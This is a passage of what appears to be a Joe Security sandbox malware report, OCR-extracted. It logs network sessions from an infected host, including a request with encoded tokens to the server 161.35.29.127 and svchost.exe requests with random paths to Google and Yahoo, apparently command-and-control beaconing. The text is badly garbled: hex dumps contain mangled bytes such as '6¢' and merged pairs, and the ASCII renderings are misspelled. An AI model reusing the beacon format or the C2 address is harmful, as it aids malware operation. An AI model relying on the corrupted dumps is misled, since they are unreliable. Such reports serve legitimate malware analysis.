X-Tag: ult2GgJqOpGyvSsgKymOeC6VISmVcNSjeQ2TpIFH%2FGW%2BVLD4oKuYG9Jy2C6m0G3%2FN9%2FQJI5fKo8F
fWub%2By6HizOWTsSHGQEyYzTR45bu6Ppgxz2Snr4zQ4MzBQ992bvlfieQ10PvcfvWVmSyM1UfSgsqcdMawkkdEqKsWgS
QXKyHFuoBJINxQSU9iJ7D3URcODOW3naAGJIPnBIi%2BBSILcN1pHEH4Aatnx6BtifC2Dc%2BsWdLw4UyU%2B01ct5F9S
T3pKcPwy%2F%2BXFNtRfNdQxhty5StMEWXHPDDPSh28XBILoDB4XaHWc1Psy%2BGrNroi94%2BCt7EE1XjZYHFZb2f
u9xnXacJnN9WA%3D%3D

X-Csrf-Token: HKE97WTkCBV%2FeQUY95rnWc1R93tDvSKiOnUKXaXKXgYuAtkMX2sinBNA8a%2BKIVYIVVWToVxO
jP3Yu6bvF8%2FPwbglJmThhGEGUTKKIRIRuHjVKafC30qfOW9G5TrDbsNzUpEF5akF%2BaB8C6hyQSwWxG1EGK57%2BH
gOTCZKA5TR2e5FtIOAgnmzrddMPbDiIA2w5mt3k9E2ACad%2FIwI5Sm3v4rsBc%2Bzsb Tz1nvM4gIGxLxIm%2FRiDt3
1eDZP2R5016aTNpFAMoUFzTcXFGdnfVmyuca9KYaGWIlIJaAAoLLXsHDf1rM8Y etbtbJWVkckPQCJ6uCDalsBcjm3r3
LwYd8MOauktw%3D%3D

X-Request-I1D: z40d2%2FcuCEt3n0z1GsosIfXIGC8QS7UEuUckBTcsrX2Bhlb9bvxzOIEANURACTgXHO9XtwHNOhK
JCZROXQE9IKZKKxpwMnPkuSom9RiP54Aw2V20gjW3GWwc1%2BGCtbpYbulye2gh6J4eXBd1omQKUN62Nk
NG%2F5NZVeol p64LG4WDPmMS8sT%2FkgepEek9fpyFzp%2BdzFOGJIDIrLVzBIKEMKZWDrnEorBHIXkUbvt52Wh6Jg6u
nRNiAbyxJ7BLRaFIrYLNJpqITc7iweJIBVVStXx6%2BoAKdDsY bb5H2ERYMGO0t%2FWu8b0DmoVYIK8fZaXsMpPw1Ej
20s8wVdHeRKkEjlzzw8UQ%3D%3D

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169
Safari/537.36

Host: 161.35.29.127
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kBytes
Timestamp transferred

2021-09-28 07:54:20 UTC 1039

2021-09-28 07:54:20 UTC 1040

Session ID Source IP

64 192.168.2.3
kBytes

Timestamp transferred

2021-09-28 07:54:18 UTC 1030

2021-09-28 07:54:18 UTC 1030

2021-09-28 07:54:18 UTC 1030

2021-09-28 07:54:18 UTC 1031

Session ID Source IP

65 192.168.2.3
kBytes

Timestamp transferred

2021-09-28 07:54:19 UTC 1032

Copyright Joe Security LLC 2021

Direction

IN

Source Port

50011

Direction

ouT

Source Port

50013

Direction

ouT

Data

HTTP/1.1 200 OK

Server: nginx/1.18.0 (Ubuntu)

Content-Type: text/html; charset=UTF-8

Content-Length: 2

Connection: close

Date: Tue, 28 Sep 2021 07:54:20 GMT

Set-Cookie: pSID=false

Set-Cookie: ndata=Z8dxL0DceO0o08W205iD3azZivk7ikeHPRDkbSGadUd8zZ7ae5xiEcPrQrgEfVqvZ

Set-Cookie: query4=zHiGkqdpfDXY 96I8Ffli20vHfte4hNrfC8L72XqrQOEUsiMVdRréakHsM8Ws21bugYcPcPXC4Qle6zYHX
nOLOAfgj6PJ6X70ul920HiyvTRU4ChWRdeOOEOFNDMwwaBOBO2m82gR5909v1nrEsiWUPKx7wDwWGUVQd
bnGC1rSqAp69Xp%2BVmacBpx40v%2FNEwqJITIaJ3ICuLyup8RHNE2zC6bk325JpiU8Xt%2FUJ3%2F6700%2FIAOD]S
y3K2X0fuyib2GQpp!3lcd%2BBLQ7dd7qrGpNgO3nBQCjldLiymfodTH20LcTuLOnhzQhZIvdtUI18Z%2B8NIhErp8M
3avLbn5Kb70wkeA%3D%3D

Set-Cookie: actual=enNDxAj2KAKj5v8QGGdOnJPgnm7TRws7hp2rvSSdpf5x7BcViiX80KcPMfJAONeoy6DU5Sfk
8sNuH69BSJ0i0VkJuLIV1QV9sS6j5SvucOoflrfDDksmZfqVOzedNquwsmxZLOHNIgOPC3uAylExDK7edS4gwTeHWu
kJ6ZpgRMwvPQfx4RPCzBccgNPD6fd4atjV3YfGjAiKapEo1PZg8HOtinw8P9qwHFF1RyVVDhEyMgczlmNk7x4HIbOO
FZDMJ

Set-Cookie: SVALUE=aaS3m7BW23bJj8Rer6fxfqFUXZ4W2HTiJbX9vnM6wpVc8PWMq6V8nCn2ULM408hakAvIZMe
YunrQhmFa08RJUBI8UnTeRou2sjQ5zZi4TmjNP2a4q5aPIVWMTfroiAWKAD3HclUKmphbTU5PIfzi6h3kVzgwN81pl
DVE3XhCgedA6hnt4MMX35KTNefRpJ8Vw951lyJ2ch60suVVAusLIkcSNScEeJi4QfhTdfszm2RNJIDKLkSo6P6gFseW
XbDDZ

X-Frame-Options: DENY

X-Content-Type-Options: nosniff

X-XSS-Protection: 1; mode=block

Data Raw: 4f 4b
Data Ascii: OK

Destination IP Destination Port Process

142.250.185.196 443 C:\Windows\System32\svchost.exe

Data

GET /iz84kk7wKe7gl6¢c18r5rganns38T7fairdlkVautx/ HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169
Safari/537.36

Host: www.google.com

Connection: Keep-Alive

HTTP/1.1 404 Not Found

Content-Type: text/html; charset=UTF-8

Referrer-Policy: no-referrer

Content-Length: 1603

Date: Tue, 28 Sep 2021 07:54:18 GMT

Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-T051=":443"; ma=2592000,h3-Q050=":443"; m
a=2592000,h3-Q046=":443"; ma=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"
Connection: close

Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6¢ 20 6¢ 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65
746120 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74
20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6¢ 2d 73 63 61 6¢ 65 3d 31 2¢ 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6C
65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3¢ 74 69 74 6¢ 65 3e 45 72 72 6f 7
220 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6¢ 65 3e 0a 20 20 3c 73 74 79 6¢ 65 3e Oa 20 2
02020 2a7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6¢ 2c 63 6f 64 65 7b 66 6f 6 74 3a 31
3570 78 2f 3232 70 78 20 61 72 69 61 6¢ 2c 73 61 6€ 73 2d 73 65

Data Ascii: <IDOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1,
minimum-scale=1, width=device-width"> <title>Error 404 (Not Found)!!1</title> <style> *{margin:0;padding:0}html,co
de{font:15px/22px arial,sans-se

Data Raw: 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 20 30 25 20 30 25 2f 31 30 30 25
2031 30 30 25 3b 2d 6d 6f 7a 2d 62 6f 72 64 65 72 2d 69 6d 61 67 65 3a 75 72 6¢ 28 2f 2f 77 77 77 2e 67 6f 6f 67 6¢ 65
2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6¢ 65 6¢ 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6C 65 6C
6f 67 6f 5f 63 6f 6¢ 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 30 7d 7d 40 6d 65 64 69 61 20 6f 6e 6¢ 79 20 73 63
72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6¢ 2d 72 61 74 69
6f 3a 32 29 7b 23 6¢ 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6€ 64 3a 75 72 6¢ 28 2f 2f 77 77 77 2e 67 6f 6f 67 6¢ 65 2€ 63 6f
6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e

Data Ascii: r_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.google.com/images/branding/g
ooglelogo/2x/googlelogo_color_150x54dp.png) O}}@media only screen and (-webkit-min-device-pixel-ratio:2){#logo
{background:url(//www.google.com/images/brandin

Destination IP Destination Port Process

142.250.185.196 443 C:\Windows\System32\svchost.exe

Data

GET /46a9ba02ytu2kmsJhkaaky7/b0z56KgpXahu6p36yzae/q37qs46stu4mk6qulv67/tTzd73jbpgskpOnRu/ HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169
Safari/537.36

Host: www.google.com

Connection: Keep-Alive
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kBytes
Timestamp transferred

2021-09-28 07:54:19 UTC 1032

2021-09-28 07:54:19 UTC 1033

2021-09-28 07:54:19 UTC 1033

Session ID Source IP

66 192.168.2.3
kBytes

Timestamp transferred

2021-09-28 07:54:19 UTC 1034

2021-09-28 07:54:20 UTC 1034

2021-09-28 07:54:20 UTC 1036

Copyright Joe Security LLC 2021

Direction

IN

Source Port

50015

Direction

ouT

Data

HTTP/1.1 404 Not Found

Content-Type: text/html; charset=UTF-8

Referrer-Policy: no-referrer

Content-Length: 1645

Date: Tue, 28 Sep 2021 07:54:19 GMT

Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-T051=":443"; ma=2592000,h3-Q050=":443"; m
a=2592000,h3-Q046=":443"; ma=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"
Connection: close

Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6¢ 3e 0a 3c 68 74 6d 6¢ 20 6¢ 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65
74612063 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74
20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6¢ 2d 73 63 61 6¢ 65 3d 31 2¢ 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6C
65 3d 31 2¢ 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6¢ 65 3e 45 72 72 6f 7
2 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6¢ 65 3e 0a 20 20 3c 73 74 79 6¢ 65 3e 0a 20 2
02020 2a7b6d61 726769 6e 3a303b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6¢ 2c 63 6f 64 65 7b 66 6f 6 74 3a 31
357078 2f 323270 78 20 61 72 69 61 6¢ 2¢c 73 61 6e 73 2d 73 65

Data Ascii: <IDOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1,
minimum-scale=1, width=device-width"> <title>Error 404 (Not Found)!!1</titte> <style> *{margin:0;padding:0}html,co
de{font:15px/22px arial,sans-se

Data Raw: 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 20 30 25 20 30 25 2f 31 30 30 25
2031 30 30 25 3b 2d 6d 6f 7a 2d 62 6f 72 64 65 72 2d 69 6d 61 67 65 3a 75 72 6¢ 28 2f 2f 77 77 77 2e 67 6f 6f 67 6¢ 65
2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6¢ 65 6¢ 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6C 65 6C
6f 67 6f 5f 63 6f 6¢ 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 30 7d 7d 40 6d 65 64 69 61 20 6f 6e 6¢ 79 20 73 63
72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6¢ 2d 72 61 74 69
6f 3232 29 7b 23 6¢ 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6€ 64 3a 75 72 6¢ 28 2f 2f 77 77 77 2e 67 6f 6f 67 6¢ 65 2e 63 6f
6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e

Data Ascii: r_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.google.com/images/branding/g
ooglelogo/2x/googlelogo_color_150x54dp.png) 0}}@media only screen and (-webkit-min-device-pixel-ratio:2){#logo
{background:url(//www.google.com/images/brandin

Destination IP Destination Port Process

87.248.100.216 443 C:\Windows\System32\svchost.exe

Data

GET /7rLx7jUix7wRJhuBpcByqv3qfkhxlask29Rj4/TeUgkJogtjcjbE2al/u42duX140H2p5wgwScoit8ophhalexc9f3u/ HT
TP/1.1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169
Safari/537.36

Host: www.yahoo.com

Connection: Keep-Alive

Cookie: B=clggcmtgl5iga&b=3&s=a5

HTTP/1.1 404 Not Found

date: Tue, 28 Sep 2021 07:54:19 GMT

p3p: policyref="https://policies.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAI IVDi
CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBIi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL
HEA PRE LOC GOV"

cache-control: private

X-content-type-options: nosniff

content-type: text/html; charset=UTF-8

X-envoy-upstream-service-time: 9

server: ATS

Content-Length: 756

Age: 2

Connection: close

Strict-Transport-Security: max-age=31536000

Content-Security-Policy: frame-ancestors 'self' https://*.builtbygirls.com https://*.rivals.com https://*.engadget.com https://*.i
ntheknow.com https://*.autoblog.com https://*.techcrunch.com https://*.yahoo.com https://*.aol.com https://*.huffingtonp
ost.com https://*.0ath.com https://*.search.yahoo.com https://*.search.aol.com https://*.search.huffpost.com https://*.v
erizonmedia.com https://*.publishing.oath.com https://*.autoblog.com; sandbox allow-forms allow-same-origin allow-scripts
allow-popups allow-popups-to-escape-sandbox allow-presentation; report-uri https://csp.yahoo.com/beacon/csp?src=ats&si
te=frontpage&region=US&lang=en-US&device=desktop&yrid=bnfdg45gl5ihb&partner=;

X-Frame-Options: SAMEORIGIN

X-XSS-Protection: 1; mode=block

Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 42 3d 63 6¢c 67 67 63 6d 74 67 6¢ 35 69 67 61 26 62 3d 33 26 73 3d 61 35
3b 20 45 78 70 69 72 65 73 3d 57 65 64 2c 20 32 38 20 53 65 70 20 32 30 32 32 20 31 33 3a 35 34 3a 32 30 20 47 4d 54
3b 20 4d 61 78 2d 41 67 65 3d 33 31 35 35 37 36 30 30 3b 20 44 6f 6d 61 69 6e 3d 2e 79 61 68 6f 6f 2e 63 6f 6d 3b 20 50
61 74 68 3d 2f 0d 0a 45 78 70 65 63 74 2d 43 54 3a 20 6d 61 78 2d 61 67 65 3d 33 31 35 33 36 30 30 30 2c 20 72 65 70 6f
7274 2d 7572 69 3d 22 68 74 74 70 3a 2f 2f 63 73 70 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 62 65 61 63 6f 6e 2f 63 73 70 3f 73
7263 3d 79 61 68 6f 6f 63 6f 6d 2d 65 78 70 65 63 74 2d 63 74 2d 72 65 70 6f 72 74 2d 6f 6e 6¢ 79 22 0d Oa 52 65 66 65
7272 65 72 2d 50 6f 6¢ 69 63 79 3a 20 6e 6f 2d 72 65 66

Data Ascii: Set-Cookie: B=clggcmtgl5iga&b=3&s=a5; Expires=Wed, 28 Sep 2022 13:54:20 GMT; Max-Age=31557600;
Domain=.yahoo.com; Path=/Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=y
ahoocom-expect-ct-report-only“Referrer-Policy: no-ref
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kBytes
Timestamp transferred

2021-09-28 07:54:20 UTC 1036

Session ID Source IP

67 192.168.2.3
kBytes

Timestamp transferred

2021-09-28 07:54:20 UTC 1037

2021-09-28 07:54:20 UTC 1037

2021-09-28 07:54:20 UTC 1037

2021-09-28 07:54:20 UTC 1038

Session ID Source IP

68 192.168.2.3
kBytes

Timestamp transferred

2021-09-28 07:54:20 UTC 1040

2021-09-28 07:54:20 UTC 1040

Copyright Joe Security LLC 2021

Direction

IN

Source Port

50016

Direction

ouT

Source Port
50017

Direction
ouT

Data

Data Raw: 3c 68 74 6d 6¢ 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 27 75 74 66 2d 38 27 3e 0a 3c 73 63 72 69 70
743e 0a 76 617220 75 3d 27 68 74 74 70 73 3a 2f 2f 77 77 77 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 3f 65 72 72 3d 34 30 34 26
65 72 72 5f 75 72 6¢ 3d 68 74 74 70 73 25 33 61 25 32 66 25 32 66 77 77 77 2e 79 61 68 6f 6f 2e 63 6f 6d 25 32 66 37 72
4c 78 37 6a 55 69 78 37 77 52 4a 68 75 42 70 63 42 79 71 76 33 71 66 6b 68 78 6¢ 61 73 6b 32 39 52 6a 34 25 32 66 54
65 55 67 6b 4a 6f 67 74 6a 63 6a 62 45 32 61 4a 25 32 66 75 34 32 64 75 58 31 34 30 48 32 70 35 77 67 77 53 63 6f 69

74 38 6f 70 68 68 61 30 65 78 63 39 66 33 75 25 32 66 27 3b 0a 69 66 28 77 69 6e 64 6f 77 21 3d 77 69 6e 64 6f 77 2e 74
6f 70 29 7b 0a 20 20 64 6f 63 75 6d 65 6e 74 2e 77 72 69 74

Data Ascii: <htmI><meta charset="utf-8'><script>var u="https://www.yahoo.com/?err=404&err_url=https%3a%2f%2fww
w.yahoo.com%2f7rLx7jUix7wRJhuBpcByqv3qfkhxlask29Rj4%2fTeUgkJogtjcjibE2aJ%2fu42duX 140H2p5wgwScoit8ophh
a0exc9f3u%2f';if(window!=window.top){ document.writ

Destination IP Destination Port Process

142.250.185.196 443 C:\Windows\System32\svchost.exe

Data

GET /3frov56necHZygdOqdrUhoAismEsluakucpxmmX3Vyiipsm/ HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169
Safari/537.36

Host: www.google.com

Connection: Keep-Alive

HTTP/1.1 404 Not Found

Content-Type: text/html; charset=UTF-8

Referrer-Policy: no-referrer

Content-Length: 1609

Date: Tue, 28 Sep 2021 07:54:20 GMT

Alt-Sve: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-T051=":443"; ma=2592000,h3-Q050=":443"; m
a=2592000,h3-Q046=":443"; ma=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"
Connection: close

Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6¢ 3e Oa 3c 68 74 6d 6¢ 20 6¢ 61 6e 67 3d 65 6e 3e Oa 20 20 3c 6d 65
74612063 6861 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74
20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6¢ 2d 73 63 61 6¢ 65 3d 31 2¢ 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6C
65 3d 31 2¢c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6¢ 65 3e 45 72 72 6f 7
22034 3034 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6¢ 65 3e 0a 20 20 3¢ 73 74 79 6¢ 65 3e 0a 20 2
02020 2a7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6¢ 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31
357078 2f3232 707820617269 61 6¢ 2¢c 73 61 6e 73 2d 73 65

Data Ascii: <IDOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1,
minimum-scale=1, width=device-width"> <title>Error 404 (Not Found)!!1</title> <style> *{margin:0;padding:0}html,co
de{font:15px/22px arial,sans-se

Data Raw: 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 20 30 25 20 30 25 2f 31 30 30 25
2031 30 30 25 3b 2d 6d 6f 7a 2d 62 6f 72 64 65 72 2d 69 6d 61 67 65 3a 75 72 6¢ 28 2f 2f 77 77 77 2e 67 6f 6f 67 6¢ 65
2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6¢ 65 6¢ 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6C 65 6C
6f 67 6f 5f 63 6f 6¢ 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 30 7d 7d 40 6d 65 64 69 61 20 6f 6e 6¢ 79 20 73 63
72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6¢ 2d 72 61 74 69
6f 3a 32 29 7b 23 6¢ 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6€ 64 3a 75 72 6¢ 28 2f 2f 77 77 77 2e 67 6f 6f 67 6¢ 65 2e 63 6f
6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e

Data Ascii: r_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.google.com/images/branding/g
ooglelogo/2x/googlelogo_color_150x54dp.png) 0}}@media only screen and (-webkit-min-device-pixel-ratio:2){#logo
{background:url(//www.google.com/images/brandin

Destination IP  Destination Port Process
142.250.185.196 443 C:\Windows\System32\svchost.exe

Data

GET /8ibcficGeboixwKrb3iyFabdjtbLmv/zZ2nQm99Tn50keb750Xjn7Jird53Dpinvo4w3K0dbc10k7n2/uTgmgObtwoxb7ij
2i8zR8m3ga/ HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169
Safari/537.36

Host: www.google.com

Connection: Keep-Alive

HTTP/1.1 404 Not Found

Content-Type: text/html; charset=UTF-8

Referrer-Policy: no-referrer

Content-Length: 1667

Date: Tue, 28 Sep 2021 07:54:20 GMT

Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-T051=":443"; ma=2592000,h3-Q050=":443"; m
a=2592000,h3-Q046=":443"; ma=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"
Connection: close
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kBytes
Timestamp transferred

2021-09-28 07:54:20 UTC 1041

2021-09-28 07:54:20 UTC 1042

Session ID Source IP

69 192.168.2.3
kBytes

Timestamp transferred

2021-09-28 07:54:20 UTC 1042

2021-09-28 07:54:20 UTC 1046

2021-09-28 07:54:20 UTC 1046

2021-09-28 07:54:20 UTC 1047

Session ID Source IP

7 192.168.2.3
kBytes

Timestamp transferred

Copyright Joe Security LLC 2021

Direction

IN

Source Port

50021

Direction

ouT

Source Port
49879

Direction

Data

Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6¢ 3e 0a 3c 68 74 6d 6¢ 20 6¢ 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65
74612063 6861 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74
20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6¢ 2d 73 63 61 6¢ 65 3d 31 2¢ 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6C
65 3d 31 2¢ 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6¢ 65 3e 45 72 72 6f 7
220 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6¢ 65 3e 0a 20 20 3c 73 74 79 6¢ 65 3e 0a 20 2
02020 2a7b6d61 726769 6e 3a303b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6¢ 2C 63 6f 64 65 7b 66 6f 6 74 3a 31
357078 2f323270 782061 7269 61 6¢ 2c 73 61 6e 73 2d 73 65

Data Ascii: <IDOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1,
minimum-scale=1, width=device-width"> <title>Error 404 (Not Found)!!1</tittle> <style> *{margin:0;padding:0}html,co
de{font:15px/22px arial,sans-se

Data Raw: 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 20 30 25 20 30 25 2f 31 30 30 25
2031 30 30 25 3b 2d 6d 6f 7a 2d 62 6f 72 64 65 72 2d 69 6d 61 67 65 3a 75 72 6¢ 28 2f 2f 77 77 77 2e 67 6f 6 67 6¢ 65
2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6¢ 65 6¢ 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6C 65 6C
6f 67 6f 5f 63 6f 6¢ 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 30 7d 7d 40 6d 65 64 69 61 20 6f 6 6¢ 79 20 73 63
72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6¢ 2d 72 61 74 69
6f 3a 32 29 7b 23 6¢ 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6 64 3a 75 72 6¢ 28 2f 2f 77 77 77 2e 67 6f 6f 67 6¢ 65 2e 63 6f
6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e

Data Ascii: r_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.google.com/images/branding/g
ooglelogo/2x/googlelogo_color_150x54dp.png) O}}@media only screen and (-webkit-min-device-pixel-ratio:2){#logo
{background:url(//www.google.com/images/brandin

Destination IP Destination Port Process

142.250.185.196 443 C:\Windows\System32\svchost.exe

Data

GET /eXJT8urr30tgdbjfmfgNgiOhwBfp7bb/izprjOnjylnwn6ciTs780z1t24w5/qvUhaqTr45h3021iIS936mwVgcBOYP11vix
t24wqj/eKolr53Dc8p3702dji9rfrph2imalON/ HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169
Safari/537.36

Host: www.google.com

Connection: Keep-Alive

HTTP/1.1 404 Not Found

Content-Type: text/html; charset=UTF-8

Referrer-Policy: no-referrer

Content-Length: 1695

Date: Tue, 28 Sep 2021 07:54:20 GMT

Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-T051=":443"; ma=2592000,h3-Q050=":443"; m
a=2592000,h3-Q046=":443"; ma=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"
Connection: close

Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6¢ 20 6¢ 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65
746120 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74
20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6¢ 2d 73 63 61 6¢ 65 3d 31 2¢ 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6C
65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3¢ 74 69 74 6¢ 65 3e 45 72 72 6f 7
220 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6¢ 65 3e 0a 20 20 3c 73 74 79 6¢ 65 3e Oa 20 2
02020 2a7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6¢ 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31
357078 2f 3232 70 78 20 61 72 69 61 6¢ 2c 73 61 6e 73 2d 73 65

Data Ascii: <IDOCTYPE htmI><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1,
minimum-scale=1, width=device-width"> <title>Error 404 (Not Found)!!1</title> <style> *{margin:0;padding:0}html,co
de{font:15px/22px arial,sans-se

Data Raw: 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 20 30 25 20 30 25 2f 31 30 30 25
